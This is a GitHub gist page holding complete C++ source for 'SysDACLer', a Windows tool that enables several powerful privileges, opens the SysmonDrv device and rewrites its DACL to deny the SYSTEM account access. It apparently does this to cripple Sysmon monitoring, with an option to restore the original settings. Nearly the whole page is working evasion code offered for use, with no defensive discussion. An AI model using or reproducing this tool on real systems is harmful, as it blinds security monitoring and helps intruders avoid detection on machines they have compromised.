Skip to content

Instantly share code, notes, and snippets.

@MzHmO
Last active February 12, 2024 11:23
Show Gist options
  • Save MzHmO/7fee160f10fde74e40d72c899cb13773 to your computer and use it in GitHub Desktop.
Save MzHmO/7fee160f10fde74e40d72c899cb13773 to your computer and use it in GitHub Desktop.

Заголовочный:

#include <Windows.h>
#include <algorithm>
#include <iostream>
#include <sddl.h>
#include <aclapi.h>
#include <NTSecAPI.h>
#include <TlHelp32.h>
#include "SysDACLer.hpp"

// CONSTANTS

CONST LPCWSTR devicePath = L"\\\\.\\SysmonDrv";
CONST LPCWSTR sddlOrig = L"D:(A;;0x1201bf;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;RC)";
CONST LPCWSTR sddlModified = L"D:(D;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;RC)";


/// FUNCS


VOID Banner()
{
	HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
	SetConsoleTextAttribute(hConsole, 0x0C);
	std::wcout << R"(
 _____          ______  ___  _____  _               
/  ___|         |  _  \/ _ \/  __ \| |              
\ `--. _   _ ___| | | / /_\ \ /  \/| |     ___ _ __ 
 `--. \ | | / __| | | |  _  | |    | |    / _ \ '__|
/\__/ / |_| \__ \ |/ /| | | | \__/\| |___|  __/ |   
\____/ \__, |___/___/ \_| |_/\____/\_____/\___|_|   
        __/ |                                       
       |___/                                                      
    )" << std::endl;

	SetConsoleTextAttribute(hConsole, 0x07);
	std::wcout << L"\n\t\t\t https://github.com/MzHmO" << std::endl;
}

VOID ShowHelp()
{
	std::wcout << L"Usage: " << std::endl;
}

void PrintDACLInfo(PACL pDacl) {
	if (pDacl == NULL) {
		std::wcout << L"No DACL available." << std::endl;
		return;
	}

	LPVOID pAce;
	ACE_HEADER* aceHeader;
	HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

	for (DWORD i = 0; i < pDacl->AceCount; i++) {
		if (GetAce(pDacl, i, &pAce)) {
			aceHeader = (ACE_HEADER*)pAce;

			PSID pSid = NULL;
			if (aceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE) {
				pSid = (PSID) & ((ACCESS_ALLOWED_ACE*)pAce)->SidStart;
			}
			else if (aceHeader->AceType == ACCESS_DENIED_ACE_TYPE) {
				pSid = (PSID) & ((ACCESS_DENIED_ACE*)pAce)->SidStart;
			}

			if (pSid != NULL) {
				LPTSTR StringSid;
				ConvertSidToStringSid(pSid, &StringSid);

				TCHAR AccountName[256], DomainName[256];
				DWORD cchAccountName = _countof(AccountName), cchDomainName = _countof(DomainName);
				SID_NAME_USE eUse;

				if (LookupAccountSid(NULL, pSid, AccountName, &cchAccountName, DomainName, &cchDomainName, &eUse)) {
					std::wcout << L"\t[?]ACE " << i << L": ";
					if (aceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE) {
						std::wcout << L"\t\tAccess Allowed for ";
					}
					else if (aceHeader->AceType == ACCESS_DENIED_ACE_TYPE) {
						SetConsoleTextAttribute(hConsole, 0x0C);
						std::wcout << L"\t\tAccess Denied for ";
						SetConsoleTextAttribute(hConsole, 0x07);
					}

					std::wcout << DomainName << L"\\" << AccountName << std::endl;
				}
				else {
					std::wcout << L"\t[?] SID: " << StringSid << L" - Unable to lookup account name." << std::endl;
				}

				LocalFree(StringSid);
			}

		}
	}
}

bool EnablePrivilege(PCWSTR privName, bool enable) {
	HANDLE hToken;
	if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
		std::wcout << L"[-] OpenProcessToken Failed: " << GetLastError() << std::endl;
		return false;
	}
	bool result = false;
	TOKEN_PRIVILEGES tp;
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
	if (::LookupPrivilegeValue(nullptr, privName, &tp.Privileges[0].Luid)) {
		if (::AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr)) {
			result = ::GetLastError() == ERROR_SUCCESS;
			if (!result) {
				std::wcout << L"[-] AdjustTokenPrivileges Failed: " << GetLastError() << std::endl;
			}
		}
	}
	::CloseHandle(hToken);
	return result;
}


VOID GetDeviceSecurity(HANDLE hDevice) {
	PSECURITY_DESCRIPTOR pSDGetSecInfo = NULL;
	PACL pDaclGetSecInfo = NULL, pSaclGetSecInfo = NULL;
	PSID pOwner = NULL, pGroup = NULL;

	DWORD dwRes = GetSecurityInfo(
		hDevice,
		SE_KERNEL_OBJECT,
		OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION,
		&pOwner,
		&pGroup,
		&pDaclGetSecInfo,
		&pSaclGetSecInfo,
		&pSDGetSecInfo
	);

	if (ERROR_SUCCESS != dwRes) {
		std::wcout << L"[-] GetSecurityInfo Error: " << dwRes << std::endl;
		return;
	}

	std::wcout << L"\t[?]Sysmon Current DACL Information: " << std::endl;
	PrintDACLInfo(pDaclGetSecInfo);

	LocalFree(pSDGetSecInfo);
}

bool matchesMask(const std::string& processName, const std::string& maskPrefix, const std::string& extension) {
	return processName.rfind(maskPrefix, 0) == 0 && processName.find(extension) != std::string::npos;
}

DWORD GetSysmonPID()
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE) {
		std::cerr << "[-] Failed to create snapshot." << std::endl;
		return -1;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof(PROCESSENTRY32);

	if (!Process32First(hSnapshot, &pe)) {
		std::cerr << "[-] Failed to get first process." << std::endl;
		CloseHandle(hSnapshot);
		return -1;
	}

	do {
		std::wstring ws(pe.szExeFile);
		std::string processName(ws.begin(), ws.end());
		if (matchesMask(processName, "Sysmon", ".exe")) {
			std::cout << "[+] Found: " << processName << " with PID = " << pe.th32ProcessID << std::endl;
			return pe.th32ProcessID;
		}
	} while (Process32Next(hSnapshot, &pe));

	return -1;
}


DWORD SetSDDL(LPCWSTR device, LPCWSTR sddl)
{
	PSECURITY_DESCRIPTOR pSDConvertedSDDL = NULL;
	HANDLE hDevice = NULL;


	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(sddl,
		SDDL_REVISION_1,
		&pSDConvertedSDDL,
		NULL))
	{
		std::wcout << L"[-] Error in Converting SDDL to binary format: " << GetLastError() << std::endl;
		return -1;
	}

	if (!EnablePrivilege(SE_BACKUP_NAME, TRUE))
	{
		std::wcout << L"[-] Failed to add SeBackupPrivilege" << std::endl;
		return -1;
	}

	std::wcout << L"[+] Adding SeBackupPrivilege success" << std::endl;

	if (!EnablePrivilege(SE_RESTORE_NAME, TRUE))
	{
		std::wcout << L"[-] Failed to add SeRestorePrivilege" << std::endl;
		return -1;
	}

	std::wcout << L"[+] Adding SeRestorePrivilege success" << std::endl;

	if (!EnablePrivilege(SE_SECURITY_NAME, TRUE))
	{
		std::wcout << L"[-] Failed to add SeSecurityPrivilege" << std::endl;
		return -1;
	}

	std::wcout << L"[+] Adding SeSecurityPrivilege success" << std::endl;

	if (!EnablePrivilege(SE_DEBUG_NAME, TRUE))
	{
		std::wcout << L"[-] Failed to add SeDebugPrivilege" << std::endl;
		return -1;
	}

	std::wcout << L"[+] Adding SeDebugPrivilege success" << std::endl;

	hDevice = CreateFile(device, READ_CONTROL | ACCESS_SYSTEM_SECURITY | WRITE_DAC,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_BACKUP_SEMANTICS,
		NULL);

	if (hDevice == INVALID_HANDLE_VALUE)
	{
		std::wcout << L"[-] Failed to open handle on sysmondrv: " << GetLastError() << std::endl;
		return -1;
	}

	std::wcout << L"[+] SysmonDrv Handle Received" << std::endl;

	GetDeviceSecurity(hDevice);

	PACL pDacl = NULL;
	BOOL daclPresent = TRUE, daclDefaulted = FALSE;
	if (!GetSecurityDescriptorDacl(pSDConvertedSDDL, &daclPresent, &pDacl, &daclDefaulted))
	{
		std::wcout << L"[-] GetSecurityDescriptorDacl() Failed: " << GetLastError() << std::endl;
		return -1;
	}

	std::wcout << L"[+] Getting PACL Success" << std::endl;

	DWORD result = SetSecurityInfo(
		hDevice,
		SE_KERNEL_OBJECT,
		DACL_SECURITY_INFORMATION,
		NULL,
		NULL,
		pDacl,
		NULL
	);

	if (result != ERROR_SUCCESS)
	{
		std::wcout << L"[-] SetSecurityInfo() failed" << result << std::endl;
		return -1;
	}

	std::wcout << L"[+] DACL Changed!" << std::endl;

	CloseHandle(hDevice);

	hDevice = CreateFile(device, READ_CONTROL | ACCESS_SYSTEM_SECURITY,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_BACKUP_SEMANTICS,
		NULL);

	if (hDevice == INVALID_HANDLE_VALUE)
	{
		std::wcout << L"[-] Failed to open handle on new sysmondrv: " << GetLastError() << std::endl;
		return -1;
	}

	GetDeviceSecurity(hDevice);
	CloseHandle(hDevice);
	return 0;
}

wchar_t* getCmdOption(wchar_t** begin, wchar_t** end, const std::wstring& option)
{
	wchar_t** itr = std::find(begin, end, option);
	if (itr != end && ++itr != end)
	{
		return *itr;
	}
	return nullptr;
}

bool cmdOptionExists(wchar_t** begin, wchar_t** end, const std::wstring& option)
{
	return std::find(begin, end, option) != end;
}

int wmain(int argc, wchar_t* argv[])
{
	Banner();
	setlocale(LC_ALL, "");

	if (cmdOptionExists(argv, argv + argc, L"-h"))
	{
		ShowHelp();
		return 0;
	}

	BOOL restore = cmdOptionExists(argv, argv + argc, L"--restore");
	CONST LPCWSTR sddl = restore ? sddlOrig : sddlModified;
	CONST LPCWSTR successMessage = restore ? L"[+] Restoring original Sysmon SDDL Success" : L"[+] SDDL Changed!";
	CONST LPCWSTR failureMessage = L"[-] Failed to set SDDL";

	if (SetSDDL(devicePath, sddl) != 0)
	{
		std::wcout << failureMessage << std::endl;
	}
	else
	{
		std::wcout << successMessage << std::endl;
	}

	return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment